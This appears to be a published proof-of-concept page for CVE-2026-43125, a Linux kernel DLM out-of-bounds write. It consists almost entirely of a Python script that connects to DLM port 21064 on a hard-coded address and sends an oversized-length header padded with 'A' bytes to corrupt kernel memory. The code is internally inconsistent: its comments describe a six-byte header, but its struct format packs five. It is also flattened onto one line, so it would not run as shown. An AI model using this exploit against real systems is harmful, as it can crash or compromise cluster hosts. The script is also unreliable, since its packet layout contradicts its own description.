CVE-2026-43125 Linux内核DLM越界写入漏洞

import socket import struct # PoC for CVE-2026-43125: DLM Out-of-Bounds Write # Description: Sends a crafted packet to trigger the vulnerability in dlm_search_rsb_tree. # Note: This is a conceptual demonstration targeting the DLM protocol handler. def send_exploit_packet(target_ip, target_port): try: # Establish TCP connection to DLM service s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Craft malicious payload # The vulnerability is triggered by the 'len' parameter in the message. # DLM_RESNAME_MAXLEN is typically defined (e.g., 64). # We set length to a large value (e.g., 0xFF) to cause OOB write. malicious_len = 0xFF # Construct a simplified DLM message structure # Format: Command (1 byte) + Flags (1 byte) + Length (4 bytes) + Padding/Name # This structure may vary by kernel version but focuses on the 'len' field. msg_header = struct.pack('!BI', 0x01, malicious_len) payload = msg_header + b"A" * 256 s.send(payload) print(f"[+] Exploit packet sent to {target_ip}:{target_port}") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Requires a target with DLM port exposed (often internal cluster ports) send_exploit_packet("192.168.1.10", 21064)